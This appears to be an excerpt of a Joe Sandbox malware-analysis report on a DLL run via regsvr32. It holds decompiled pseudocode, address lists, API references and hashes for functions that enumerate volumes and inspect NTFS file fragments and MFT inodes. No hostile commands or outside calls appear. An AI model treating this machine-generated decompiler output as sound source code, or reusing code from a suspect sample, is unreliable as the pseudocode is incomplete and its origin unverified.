                                                                                                        0x1800076e1
                                                                                                        0x1800076e4
                                                                                                        0x1800076e7
                                                                                                        0x1800076f0
                                                                                                        0x1800076f3
                                                                                                        0x1800076f9
                                                                                                        0x180007713
                                                                                                        0x18000771b
                                                                                                        0x180007721
                                                                                                        0x180007721
                                                                                                        0x180007728
                                                                                                        0x18000772c
                                                                                                        0x180007735
                                                                                                        0x18000773a
                                                                                                        0x180007743
                                                                                                        0x180007748
                                                                                                        0x180007751
                                                                                                        0x180007756
                                                                                                        0x18000775f
                                                                                                        0x180007764
                                                                                                        0x18000776d
                                                                                                        0x180007772
                                                                                                        0x180007785
                                                                                                        0x18000778a
                                                                                                        0x18000778f
                                                                                                        0x18000779f
                                                                                                        0x1800077a7
                                                                                                        0x1800077b2
                                                                                                        0x1800077bb
                                                                                                        0x1800077c0
                                                                                                        0x1800077cf
                                                                                                        0x1800077d4
                                                                                                        0x1800077d9
                                                                                                        0x1800077eb
                                                                                                        0x1800077fe
                                                                                                        0x180007803
                                                                                                        0x180007808
                                                                                                        0x180007817
                                                                                                        0x18000781c
                                                                                                        0x180007821
                                                                                                        0x180007826
                                                                                                        0x18000782b
                                                                                                        0x180007837
                                                                                                        0x18000783c
                                                                                                        0x18000783f
                                                                                                        0x180007842
                                                                                                        0x180007849
                                                                                                        0x180007857
                                                                                                        0x180007867
                                                                                                        0x18000787d
                                                                                                        0x180007889
                                                                                                        0x180007896
                                                                                                        0x18000789d
                                                                                                        0x18000789f
                                                                                                        0x1800078a4
                                                                                                        0x1800078ae
                                                                                                        0x1800078b3
                                                                                                        0x1800078b6
                                                                                                        0x1800078b9
                                                                                                        0x1800078c3
                                                                                                        0x1800078c9
                                                                                                        0x1800078d0
                                                                                                        0x1800078d2
                                                                                                        0x1800078d8
                                                                                                        0x1800078ea
                                                                                                        0x1800078f6
                                                                                                        0x1800078f9
                                                                                                        0x18000790a
                                                                                                        0x18000790f
                                                                                                        0x180007913
                                                                                                        0x18000791b
                                                                                                        0x180007920
                                                                                                        0x180007925
                                                                                                        0x18000792f
                                                                                                        0x180007934
                                                                                                        0x180007937
                                                                                                        0x18000793c
                                                                                                        0x180007944
                                                                                                        0x180007954
                                                                                                        0x18000795d
                                                                                                        0x180007962
                                                                                                        0x180007967
                                                                                                        0x18000796c
                                                                                                        0x18000797b
                                                                                                        0x180007983
                                                                                                        0x180007989
                                                                                                        0x180007991
                                                                                                        0x18000799a
                                                                                                        0x18000799f
                                                                                                        0x1800079a7
                                                                                                        0x1800079b2
                                                                                                        0x1800079c4
                                                                                                        0x1800079c9
                                                                                                        0x1800079d5
                                                                                                        0x1800079dd
                                                                                                        0x1800079e2
                                                                                                        0x1800079f6
                                                                                                        0x180007a03
                                                                                                        0x180007a0c
                                                                                                        0x180007a1b
                                                                                                        0x180007a20
                                                                                                        0x180007a2b
                                                                                                        0x180007a36
                                                                                                        0x180007a49
                                                                                                        0x180007a54
                                                                                                        0x180007a59
                                                                                                        0x180007a65
                                                                                                        0x180007a6d
                                                                                                        0x180007a72
                                                                                                        0x180007a82
                                                                                                        0x180007a8a
                                                                                                        0x180007a93
                                                                                                        0x180007abb

                                                                                                        APIs
                                                                                                        • GetDriveTypeW.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,?,?,000000018000E469), ref: 000000018000771B
                                                                                                        • GetVolumeNameForVolumeMountPointW.KERNEL32 ref: 000000018000779F
                                                                                                        • GetLastError.KERNEL32 ref: 00000001800077A9
                                                                                                          • Part of subcall function 000000018000EFAC: FormatMessageW.KERNEL32 ref: 000000018000EFFB
                                                                                                          • Part of subcall function 000000018000EFAC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000018000F053
                                                                                                          • Part of subcall function 0000000180004968: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00000001800049A8
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Volumeswprintf$DriveErrorFormatLastMessageMountNamePointType
                                                                                                        • String ID: %s%s$%s*$Cannot open volume '%s' at mountpoint '%s': %s$Ignoring volume '%s' because it has removable media.$Ignoring volume '%s' because it is a CD-ROM drive.$Ignoring volume '%s' because it is a RAM disk.$Ignoring volume '%s' because it is a remote (network) drive.$Ignoring volume '%s' because the drive type cannot be determined.$Ignoring volume '%s' because there is no volume mounted.
                                                                                                        • API String ID: 1747883953-1064511731
                                                                                                        • Opcode ID: a1b49bb551731136b584d2b202aabf389a5abb21a3ce3acf8b450980232df840
                                                                                                        • Instruction ID: 96ea598ddedef0336a08d7fe8cecf2e0f507af098ff6a1d979508e77ad2f8082
                                                                                                        • Opcode Fuzzy Hash: a1b49bb551731136b584d2b202aabf389a5abb21a3ce3acf8b450980232df840
                                                                                                        • Instruction Fuzzy Hash: CAB19F32714A8991EBA6DB52A8507DA73A4F79DBC4F808512FA4E17B96DF3CC708C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800072D8 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 248fileCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 64%
                                                                                                        			E000000011800072D8(void* __ecx, long long __rbx, long long __rcx, long long __rdx, long long __rdi, long long __rsi, void* __r8) {
				long _t96;
				long _t108;
				void* _t117;
				long _t119;
				long _t140;
				void* _t166;
				signed long long _t167;
				signed long long _t168;
				long long* _t169;
				signed long long _t171;
				signed long long _t173;
				signed long long _t174;
				long long _t179;
				long long _t180;
				long long _t183;
				void* _t185;
				signed long long _t201;
				signed long long _t203;
				long long _t214;
				long long _t215;
				signed long long _t217;
				void* _t223;
				void* _t224;
				void* _t226;
				signed long long _t227;
				char* _t234;
				void* _t245;
				void* _t246;
				void* _t248;
				long long _t249;
				signed long long _t250;
				void* _t252;
				void* _t254;
				intOrPtr* _t255;
				void* _t258;
				signed long long _t259;

				_t117 = __ecx;
				_t166 = _t226;
				 *((long long*)(_t166 + 8)) = __rbx;
				 *((long long*)(_t166 + 0x10)) = __rsi;
				 *((long long*)(_t166 + 0x20)) = __rdi;
				_t224 = _t166 - 0x4278;
				E00000001180014A10(0x4350, _t166, _t245, _t246);
				_t227 = _t226 - _t166;
				_t167 =  *0x800d81f8; // 0x68308725f9ca
				_t168 = _t167 ^ _t227;
				 *(_t224 + 0x4240) = _t168;
				_t185 = __r8;
				 *((long long*)(_t227 + 0x70)) = __rcx;
				_t249 = __rcx;
				E00000001180005CCC();
				_t217 = _t168;
				if (__r8 == 0) goto 0x80007342;
				_t169 =  *((intOrPtr*)(__r8 + 0x60));
				goto 0x8000733d;
				if ( *_t169 != 0xffffffff) goto 0x8000738b;
				if ( *((intOrPtr*)(_t169 + 0x10)) != 0) goto 0x80007333;
				_t171 =  *((intOrPtr*)(__r8 + 0x18));
				_t234 = L"%I64u %s";
				 *(_t227 + 0x28) = _t171;
				r8d = 0;
				 *((long long*)(_t227 + 0x20)) = __rdx;
				E00000001180004968(_t117, 0, _t171, _t217, __rdx, __r8, _t234, _t258);
				 *(_t227 + 0x30) =  *(_t227 + 0x30) & 0x00000000;
				r9d = 0;
				_t15 = _t234 + 7; // 0x7
				r8d = _t15;
				if ( *((intOrPtr*)(_t185 + 0x78)) != r9d) goto 0x80007390;
				 *(_t227 + 0x28) = 0x20000000;
				goto 0x8000739d;
				goto 0x80007344;
				 *(_t227 + 0x28) = 0x2000000;
				 *((intOrPtr*)(_t227 + 0x20)) = 3;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				 *(_t227 + 0x58) = _t171;
				if (_t171 != 0xffffffff) goto 0x800073fb;
				_t96 = GetLastError();
				r9d = 0x200;
				E0000000118000EFAC(_t96, _t185, _t224 + 0x3e40, _t234);
				r8d = 0;
				 *((long long*)(_t227 + 0x20)) = _t224 + 0x3e40;
				E00000001180004968(_t117, 0, _t224 + 0x3e40, _t217,  *_t171, _t224 + 0x3e40, L"  Could not open: %s", _t254);
				goto 0x80007677;
				if (GetFileInformationByHandle(_t252) == 0) goto 0x8000749c;
				_t214 =  *((intOrPtr*)(_t185 + 0x48));
				 *((intOrPtr*)(_t227 + 0x40)) =  *((intOrPtr*)(_t227 + 0x7c));
				 *((intOrPtr*)(_t227 + 0x44)) =  *((intOrPtr*)(_t224 - 0x80));
				_t173 =  *((intOrPtr*)(_t227 + 0x40));
				if (_t214 == _t173) goto 0x80007457;
				r8d = 0;
				 *(_t227 + 0x30) = _t214 - _t173;
				 *(_t227 + 0x28) = _t173;
				 *((long long*)(_t227 + 0x20)) = _t214;
				E00000001180004968(_t117, 0, _t173, _t217, _t214, _t224 + 0x3e40, L"  Different CreationTime %I64u <> %I64u = %I64u", _t248);
				_t215 =  *((intOrPtr*)(_t185 + 0x58));
				 *((intOrPtr*)(_t227 + 0x40)) =  *((intOrPtr*)(_t224 - 0x7c));
				 *((intOrPtr*)(_t227 + 0x44)) =  *((intOrPtr*)(_t224 - 0x78));
				_t174 =  *((intOrPtr*)(_t227 + 0x40));
				if (_t215 == _t174) goto 0x8000749c;
				r8d = 0;
				 *(_t227 + 0x30) = _t215 - _t174;
				 *(_t227 + 0x28) = _t174;
				 *((long long*)(_t227 + 0x20)) = _t215;
				E00000001180004968(_t117, 0, _t174, _t217, _t215, _t224 + 0x3e40, L"  Different LastAccessTime %I64u <> %I64u = %I64u", _t223);
				_t255 =  *((intOrPtr*)(_t185 + 0x60));
				r15d = 0;
				 *(_t227 + 0x50) = _t174;
				if (0x3e8 <= 0) goto 0x80007663;
				 *(_t227 + 0x38) =  *(_t227 + 0x38) & 0x00000000;
				 *(_t227 + 0x68) = _t174;
				 *((intOrPtr*)(_t227 + 0x40)) = 0x3e7;
				 *(_t227 + 0x30) = _t227 + 0x60;
				r9d = 8;
				 *(_t227 + 0x28) = 0x3e90;
				 *((long long*)(_t227 + 0x20)) = _t224 - 0x50;
				if (DeviceIoControl(??, ??, ??, ??, ??, ??, ??, ??) == 0) goto 0x80007504;
				goto 0x8000751b;
				_t108 = GetLastError();
				_t140 = _t108;
				if (_t108 == 0) goto 0x8000751b;
				if (_t108 != 0xea) goto 0x800075f4;
				r13d = 0;
				if ( *((intOrPtr*)(_t224 - 0x50)) - r13d <= 0) goto 0x800075d4;
				r12d = r13d;
				_t250 = _t249 + _t249;
				if ( *((intOrPtr*)(_t224 + _t250 * 8 - 0x38)) == 0xffffffff) goto 0x80007548;
				_t259 = _t258 +  *((intOrPtr*)(_t224 + _t250 * 8 - 0x40)) -  *(_t227 + 0x50);
				if (_t255 != 0) goto 0x80007563;
				r8d = 0;
				_t201 = _t217;
				E00000001180004968(_t140, 0,  *((intOrPtr*)(_t224 + _t250 * 8 - 0x40)) -  *(_t227 + 0x50), _t201, _t215, _t227 + 0x68, L"  Extra fragment in FSCTL_GET_RETRIEVAL_POINTERS");
				goto 0x800075b9;
				_t179 =  *_t255;
				if (_t179 == _t201) goto 0x80007589;
				 *(_t227 + 0x28) = _t201;
				 *((long long*)(_t227 + 0x20)) = _t179;
				r8d = 0;
				E00000001180004968(_t140, 0, _t179, _t217, _t215, _t227 + 0x68, L"  Different LCN in fragment: %I64u <> %I64u");
				_t180 =  *((intOrPtr*)(_t255 + 8));
				_t203 =  *((intOrPtr*)(_t224 + _t250 * 8 - 0x40));
				if (_t180 == _t203) goto 0x800075b5;
				 *(_t227 + 0x28) = _t203;
				 *((long long*)(_t227 + 0x20)) = _t180;
				r8d = 0;
				E00000001180004968(_t140, 0, _t180, _t217, _t215, _t227 + 0x68, L"  Different NextVcn in fragment: %I64u <> %I64u");
				r13d = r13d + 1;
				 *(_t227 + 0x50) =  *((intOrPtr*)(_t224 + _t250 * 8 - 0x40));
				if (r13d -  *((intOrPtr*)(_t224 - 0x50)) < 0) goto 0x8000752a;
				_t119 = _t140;
				goto 0x800075d9;
				if (_t140 == 0xea) goto 0x800074af;
				if (_t119 == 0) goto 0x80007621;
				if (_t119 == 0x26) goto 0x80007621;
				r9d = 0x200;
				E0000000118000EFAC(_t119, _t185, _t224 + 0x3e40, L"  Different NextVcn in fragment: %I64u <> %I64u");
				goto 0x800073e0;
				if ( *((intOrPtr*)(_t255 + 0x10)) == 0) goto 0x8000763a;
				r8d = 0;
				E00000001180004968(_t119, 0,  *(_t227 + 0x50), _t217, _t215, _t185, L"  Extra fragment from MFT");
				_t183 =  *((intOrPtr*)(_t185 + 0x40));
				if (_t183 == _t259) goto 0x80007677;
				 *(_t227 + 0x28) = _t259;
				r8d = 0;
				 *((long long*)(_t227 + 0x20)) = _t183;
				E00000001180004968(_t119, 0, _t183, _t217, _t215, _t185, L"  Different cluster count: %I64u <> %I64u");
				goto 0x80007677;
				r8d = 0;
				return E000000011800149A0(E00000001180004968(_t119, 0, _t183, _t217, _t215, _t185, L"  FSCTL_GET_RETRIEVAL_POINTERS error: Infinite loop"), _t119,  *(_t224 + 0x4240) ^ _t227);
			}







































                                                                                                        0x1800072d8
                                                                                                        0x1800072d8
                                                                                                        0x1800072db
                                                                                                        0x1800072df
                                                                                                        0x1800072e3
                                                                                                        0x1800072f0
                                                                                                        0x1800072fc
                                                                                                        0x180007301
                                                                                                        0x180007304
                                                                                                        0x18000730b
                                                                                                        0x18000730e
                                                                                                        0x180007315
                                                                                                        0x180007318
                                                                                                        0x18000731d
                                                                                                        0x180007320
                                                                                                        0x180007325
                                                                                                        0x18000732b
                                                                                                        0x18000732d
                                                                                                        0x180007331
                                                                                                        0x180007337
                                                                                                        0x180007340
                                                                                                        0x180007344
                                                                                                        0x180007348
                                                                                                        0x18000734f
                                                                                                        0x180007354
                                                                                                        0x180007357
                                                                                                        0x180007361
                                                                                                        0x180007366
                                                                                                        0x18000736c
                                                                                                        0x180007373
                                                                                                        0x180007373
                                                                                                        0x18000737b
                                                                                                        0x18000737d
                                                                                                        0x180007389
                                                                                                        0x18000738e
                                                                                                        0x180007390
                                                                                                        0x18000739d
                                                                                                        0x1800073a5
                                                                                                        0x1800073ab
                                                                                                        0x1800073b7
                                                                                                        0x1800073b9
                                                                                                        0x1800073bf
                                                                                                        0x1800073d1
                                                                                                        0x1800073dd
                                                                                                        0x1800073ec
                                                                                                        0x1800073f1
                                                                                                        0x1800073f6
                                                                                                        0x18000740b
                                                                                                        0x180007415
                                                                                                        0x180007419
                                                                                                        0x180007420
                                                                                                        0x180007424
                                                                                                        0x18000742c
                                                                                                        0x18000743b
                                                                                                        0x18000743e
                                                                                                        0x180007446
                                                                                                        0x18000744b
                                                                                                        0x180007452
                                                                                                        0x18000745a
                                                                                                        0x18000745e
                                                                                                        0x180007465
                                                                                                        0x180007469
                                                                                                        0x180007471
                                                                                                        0x180007480
                                                                                                        0x180007483
                                                                                                        0x18000748b
                                                                                                        0x180007490
                                                                                                        0x180007497
                                                                                                        0x18000749c
                                                                                                        0x1800074a0
                                                                                                        0x1800074aa
                                                                                                        0x1800074b1
                                                                                                        0x1800074b7
                                                                                                        0x1800074c2
                                                                                                        0x1800074ce
                                                                                                        0x1800074d2
                                                                                                        0x1800074d7
                                                                                                        0x1800074e1
                                                                                                        0x1800074ee
                                                                                                        0x1800074fe
                                                                                                        0x180007502
                                                                                                        0x180007504
                                                                                                        0x18000750a
                                                                                                        0x18000750e
                                                                                                        0x180007515
                                                                                                        0x18000751b
                                                                                                        0x180007524
                                                                                                        0x18000752a
                                                                                                        0x18000752d
                                                                                                        0x180007539
                                                                                                        0x180007545
                                                                                                        0x18000754b
                                                                                                        0x180007554
                                                                                                        0x180007559
                                                                                                        0x18000755c
                                                                                                        0x180007561
                                                                                                        0x180007563
                                                                                                        0x180007569
                                                                                                        0x18000756b
                                                                                                        0x18000757a
                                                                                                        0x18000757f
                                                                                                        0x180007584
                                                                                                        0x180007589
                                                                                                        0x18000758d
                                                                                                        0x180007595
                                                                                                        0x180007597
                                                                                                        0x1800075a6
                                                                                                        0x1800075ab
                                                                                                        0x1800075b0
                                                                                                        0x1800075be
                                                                                                        0x1800075c1
                                                                                                        0x1800075ca
                                                                                                        0x1800075d0
                                                                                                        0x1800075d2
                                                                                                        0x1800075e8
                                                                                                        0x1800075f2
                                                                                                        0x1800075f7
                                                                                                        0x180007605
                                                                                                        0x18000760d
                                                                                                        0x18000761c
                                                                                                        0x180007624
                                                                                                        0x18000762d
                                                                                                        0x180007635
                                                                                                        0x18000763a
                                                                                                        0x180007641
                                                                                                        0x180007643
                                                                                                        0x18000764f
                                                                                                        0x180007652
                                                                                                        0x18000765c
                                                                                                        0x180007661
                                                                                                        0x18000766a
                                                                                                        0x1800076a6

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ErrorFileLast$ControlCreateDeviceHandleInformationswprintf
                                                                                                        • String ID: Could not open: %s$ Different CreationTime %I64u <> %I64u = %I64u$ Different LCN in fragment: %I64u <> %I64u$ Different LastAccessTime %I64u <> %I64u = %I64u$ Different NextVcn in fragment: %I64u <> %I64u$ Different cluster count: %I64u <> %I64u$ Error while processing clustermap: %s$ Extra fragment from MFT$ Extra fragment in FSCTL_GET_RETRIEVAL_POINTERS$ FSCTL_GET_RETRIEVAL_POINTERS error: Infinite loop$%I64u %s
                                                                                                        • API String ID: 1494186680-2848058070
                                                                                                        • Opcode ID: b423b27a6a5ee1ef3c7ceb13b80329bfd4f624a78b4c2a7845bf02190ab9246f
                                                                                                        • Instruction ID: ff849fd978c8a662d168c6f961cadd43afdc7ee3e2a831b56aebb2ceed1a7ab5
                                                                                                        • Opcode Fuzzy Hash: b423b27a6a5ee1ef3c7ceb13b80329bfd4f624a78b4c2a7845bf02190ab9246f
                                                                                                        • Instruction Fuzzy Hash: AEB17C32704A4882EBA5DB65E8507DAB3A1F78C7D4F518226FE4D07B99DF38C609CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180012A20 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 295COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 56%
                                                                                                        			E00000001180012A20(void* __ecx, long long __rcx, long long __rdx, long long __r8, long long __r9, intOrPtr _a40, signed int _a48, intOrPtr _a56) {
				signed int _v72;
				char _v1096;
				signed long long _v1112;
				signed int _v1116;
				signed int _v1120;
				char _v1136;
				long long _v1144;
				long long _v1152;
				long long _v1160;
				void* _v1168;
				long long _v1176;
				void* _v1184;
				intOrPtr _v1192;
				void* _v1200;
				signed int _v1208;
				signed int _v1216;
				signed long long _v1224;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* _t151;
				long _t165;
				void* _t175;
				signed int _t178;
				signed long long _t225;
				signed long long _t226;
				signed long long _t227;
				signed long long _t228;
				signed long long _t232;
				signed long long _t233;
				intOrPtr* _t234;
				signed long long _t238;
				signed long long _t240;
				signed long long _t242;
				signed long long _t247;
				signed long long _t262;
				signed long long _t265;
				signed int _t267;
				signed int _t287;
				intOrPtr* _t290;
				signed long long _t291;
				signed long long _t293;
				intOrPtr* _t294;
				void* _t295;
				long long _t298;
				void* _t299;
				intOrPtr _t304;
				char* _t305;
				char* _t311;
				signed long long _t324;
				signed int _t326;
				intOrPtr _t327;
				long long _t328;
				long long* _t329;
				intOrPtr _t330;
				intOrPtr _t331;

				_t298 = __r8;
				_t279 = __rdx;
				_t175 = __ecx;
				_t225 =  *0x800d81f8; // 0x68308725f9ca
				_t226 = _t225 ^  &_v1200;
				_v72 = _t226;
				_t327 = _a40;
				_t290 = __r9;
				_v1184 = __r9;
				_t328 = __r8;
				_v1144 = __r8;
				_v1160 = __rdx;
				_v1176 = __rcx;
				E00000001180005CCC();
				_t296 = _t226;
				if (_t327 == 0) goto 0x80012edd;
				_t326 = _a48;
				if (_t326 == 0) goto 0x80012edd;
				r8d = 0;
				_t242 = _t226;
				if (_a56 - 0x3e8 <= 0) goto 0x80012aa9;
				goto 0x80012ed3;
				_t227 =  *((intOrPtr*)(__r9));
				_v1216 = _t326;
				_v1224 = _t227;
				E00000001180004968(_t175, 6, _t227, _t242, __rdx, __r8, L"    Processing AttributeList for Inode %I64u, %u bytes");
				_v1192 = 0;
				if (_t326 == 0) goto 0x80012edd;
				_t12 = _t238 + 3; // 0x3
				if (_t242 - _t326 > 0) goto 0x80012edd;
				if ( *((intOrPtr*)(_t295 + _t327)) == 0xffffffff) goto 0x80012edd;
				if ( *(_t295 + _t327 + 4) - 3 < 0) goto 0x80012edd;
				if (_t227 - _t326 > 0) goto 0x80012edd;
				_t240 = (_t238 << 0x20) + _t227;
				if (_t240 ==  *_t290) goto 0x80012e55;
				E00000001180013780( *((intOrPtr*)(_t295 + _t327)));
				r8d = 0;
				_v1224 = _t227;
				_t24 = _t298 + 6; // 0x6
				E00000001180004968(_t12, _t24, _t227, _t226, _t279, _t298, L"    List attribute: %s");
				r8d = 0;
				_v1200 =  *(_t295 + _t327 + 0x18) & 0x0000ffff;
				_t228 =  *((intOrPtr*)(_t295 + _t327 + 8));
				_v1208 =  *(_t295 + _t327 + 0x16) & 0x0000ffff;
				_t33 = _t298 + 6; // 0x6
				_v1216 = _t240;
				_v1224 = _t228;
				E00000001180004968( *(_t295 + _t327 + 0x16) & 0x0000ffff, _t33, _t228, _t226, _t279, _t298, L"      LowestVcn = %I64u, RefInode = %I64u, InodeSequence = %u, Instance = %u");
				if (( *(_t295 + _t327 + 6) & 0x000000ff) == 0) goto 0x80012bfc;
				0x80026bf8();
				_t291 = _t228;
				if (_t228 == 0) goto 0x80012ec6;
				r8d =  *(_t295 + _t327 + 7) & 0x000000ff;
				_t247 = _t228;
				r9d =  *(_t295 + _t327 + 6) & 0x000000ff;
				r8d = r8d + _v1192;
				_t299 = _t298 + _t327;
				E00000001180055AAC(_t228, _t240, _t247, L"      LowestVcn = %I64u, RefInode = %I64u, InodeSequence = %u, Instance = %u" + 1, _t295, _t299, L"      LowestVcn = %I64u, RefInode = %I64u, InodeSequence = %u, Instance = %u");
				_t178 =  *(_t295 + _t327 + 6) & 0x000000ff;
				_t311 = L"      AttributeList name = \'%s\'";
				_v1224 = _t291;
				r8d = 0;
				 *((short*)(_t291 + _t247 * 2)) = 0;
				_t51 = _t228 + 6; // 0x6
				E00000001180004968(_t178, _t51, _t228, _t226, L"      LowestVcn = %I64u, RefInode = %I64u, InodeSequence = %u, Instance = %u" + 1, _t299, _t311);
				E00000001180053D58(_t240, _t291, _t295);
				r9d = 0;
				_t329 =  *((intOrPtr*)(_v1184 + 0x50));
				r8d = 0;
				_t324 =  *(_t328 + 0x28) * _t240;
				if (_t329 == 0) goto 0x80012e2d;
				if ( *_t329 == 0xffffffff) goto 0x80012c50;
				if (_t324 - _t299 < 0) goto 0x80012c46;
				if (_t324 -  *((intOrPtr*)(_t329 + 8)) - _t311 + _t299 < 0) goto 0x80012c5d;
				_t232 =  *((intOrPtr*)(_t329 + 8)) - _t311;
				_t330 =  *((intOrPtr*)(_t329 + 0x10));
				if (_t330 != 0) goto 0x80012c2c;
				_v1152 = _t299 + _t232;
				if (_t330 == 0) goto 0x80012e2d;
				0x80026bf8();
				_t293 = _t232;
				if (_t293 == 0) goto 0x80012ec6;
				_t331 = _v1144;
				_v1112 = _t232;
				_t233 =  &_v1136;
				_v1224 = _t233;
				r8d =  *(_t331 + 0x28);
				_v1120 = _t178;
				_v1116 = _t178;
				if (ReadFile(??, ??, ??, ??, ??) == 0) goto 0x80012e71;
				_t262 =  *(_t331 + 0x28);
				if (_t233 != _t262) goto 0x80012e71;
				_v1224 = _t262;
				_t151 = E00000001180012428(_t178, _t240, _v1176, _v1160, _t295, _t226, _t331, _t293, _t326);
				r8d = 0;
				if (_t151 != 0) goto 0x80012d44;
				_t83 = _t233 + 2; // 0x2
				_v1224 = _t240;
				E00000001180004968(_t178, _t83, _t233, _t226, _v1160, _t331, L"The error occurred while processing Inode %I64u");
				_t265 = _t293;
				E00000001180053D58(_t240, _t265, _t295);
				_t294 = _v1184;
				goto 0x80012e55;
				if (( *(_t294 + 0x16) & 0x00000001) != 0) goto 0x80012d58;
				goto 0x80012d25;
				_t267 = (_t265 << 0x20) + _t233;
				_t234 = _v1184;
				_t287 =  *_t234;
				if (_t287 == _t267) goto 0x80012d98;
				_v1208 = _t267;
				_v1216 = _t287;
				_v1224 = _t240;
				E00000001180004968( *(_t294 + 0x24) & 0x0000ffff, 6, _t234, _t226, _t287, _t331, L"      Warning: Inode %I64u is an extension of Inode %I64u, but thinks it\'s an extension of Inode %I64u.");
				goto 0x80012d32;
				_v1216 =  *(_t295 + _t327 + 0x18) & 0x0000ffff;
				_v1224 = _t240;
				E00000001180004968( *(_t294 + 0x24) & 0x0000ffff, 6, _t234, _t296, _t287, _t331, L"      Processing Inode %I64u Instance %u");
				_v1200 = _a56 + 1;
				_v1208 =  *(_t295 + _t327 + 0x18) & 0x0000ffff;
				_v1216 =  *(_t331 + 0x28) - _t234;
				_t304 = _t331;
				_v1224 = _t234 + _t294;
				E00000001180012F00(_a56 + 1, _t240, _v1176, _v1160, _t304, _v1184);
				r8d = 0;
				_v1216 =  *(_t295 + _t327 + 0x18) & 0x0000ffff;
				_v1224 = _t240;
				_t116 = _t304 + 6; // 0x6
				E00000001180004968(_a56 + 1, _t116, _t234, _t296, _v1160, _t304, L"      Finished processing Inode %I64u Instance %u");
				goto 0x80012d32;
				r8d = 0;
				_v1216 =  *_t294;
				_v1224 = _t240;
				_t119 = _t304 + 6; // 0x6
				E00000001180004968(_a56 + 1, _t119,  *_t294, _t296, _v1160, _t304, L"      Error: Inode %I64u is an extension of Inode %I64u, but does not exist (outside the MFT).");
				_v1192 = _v1192 + ( *(_t295 + _t327 + 4) & 0x0000ffff);
				if (_t295 - _t326 >= 0) goto 0x80012edd;
				goto 0x80012ad6;
				_t165 = GetLastError();
				r9d = 0x200;
				_t305 =  &_v1096;
				E0000000118000EFAC(_t165, _t240, _t305, L"      Error: Inode %I64u is an extension of Inode %I64u, but does not exist (outside the MFT).");
				r8d = 0;
				_v1216 =  &_v1096;
				_v1224 = _t240;
				_t130 = _t305 + 2; // 0x2
				E00000001180004968(_a56 + 1, _t130,  &_v1096, _t296, _v1160, _t305, L"      Error while reading Inode %I64u: %s");
				E00000001180053D58(_t240, _t294, _t295);
				goto 0x80012edd;
				r8d = 0;
				return E000000011800149A0(E00000001180004968(_a56 + 1, 2,  &_v1096, _t296, _v1160, _t305, L"Error: malloc() returned NULL."), _a56 + 1, _v72 ^  &_v1200);
			}




























































                                                                                                        0x180012a20
                                                                                                        0x180012a20
                                                                                                        0x180012a20
                                                                                                        0x180012a32
                                                                                                        0x180012a39
                                                                                                        0x180012a3c
                                                                                                        0x180012a44
                                                                                                        0x180012a4c
                                                                                                        0x180012a4f
                                                                                                        0x180012a54
                                                                                                        0x180012a57
                                                                                                        0x180012a5c
                                                                                                        0x180012a61
                                                                                                        0x180012a66
                                                                                                        0x180012a6d
                                                                                                        0x180012a73
                                                                                                        0x180012a79
                                                                                                        0x180012a84
                                                                                                        0x180012a8a
                                                                                                        0x180012a8d
                                                                                                        0x180012a9b
                                                                                                        0x180012aa4
                                                                                                        0x180012aa9
                                                                                                        0x180012ab3
                                                                                                        0x180012abd
                                                                                                        0x180012ac2
                                                                                                        0x180012ac9
                                                                                                        0x180012ad0
                                                                                                        0x180012ad6
                                                                                                        0x180012adc
                                                                                                        0x180012ae9
                                                                                                        0x180012af6
                                                                                                        0x180012b07
                                                                                                        0x180012b1c
                                                                                                        0x180012b22
                                                                                                        0x180012b2d
                                                                                                        0x180012b32
                                                                                                        0x180012b35
                                                                                                        0x180012b44
                                                                                                        0x180012b48
                                                                                                        0x180012b60
                                                                                                        0x180012b63
                                                                                                        0x180012b67
                                                                                                        0x180012b6c
                                                                                                        0x180012b73
                                                                                                        0x180012b77
                                                                                                        0x180012b7c
                                                                                                        0x180012b81
                                                                                                        0x180012b8e
                                                                                                        0x180012b98
                                                                                                        0x180012b9d
                                                                                                        0x180012ba3
                                                                                                        0x180012ba9
                                                                                                        0x180012baf
                                                                                                        0x180012bb2
                                                                                                        0x180012bb8
                                                                                                        0x180012bbd
                                                                                                        0x180012bc4
                                                                                                        0x180012bc9
                                                                                                        0x180012bcf
                                                                                                        0x180012bd8
                                                                                                        0x180012bdd
                                                                                                        0x180012be0
                                                                                                        0x180012be7
                                                                                                        0x180012bea
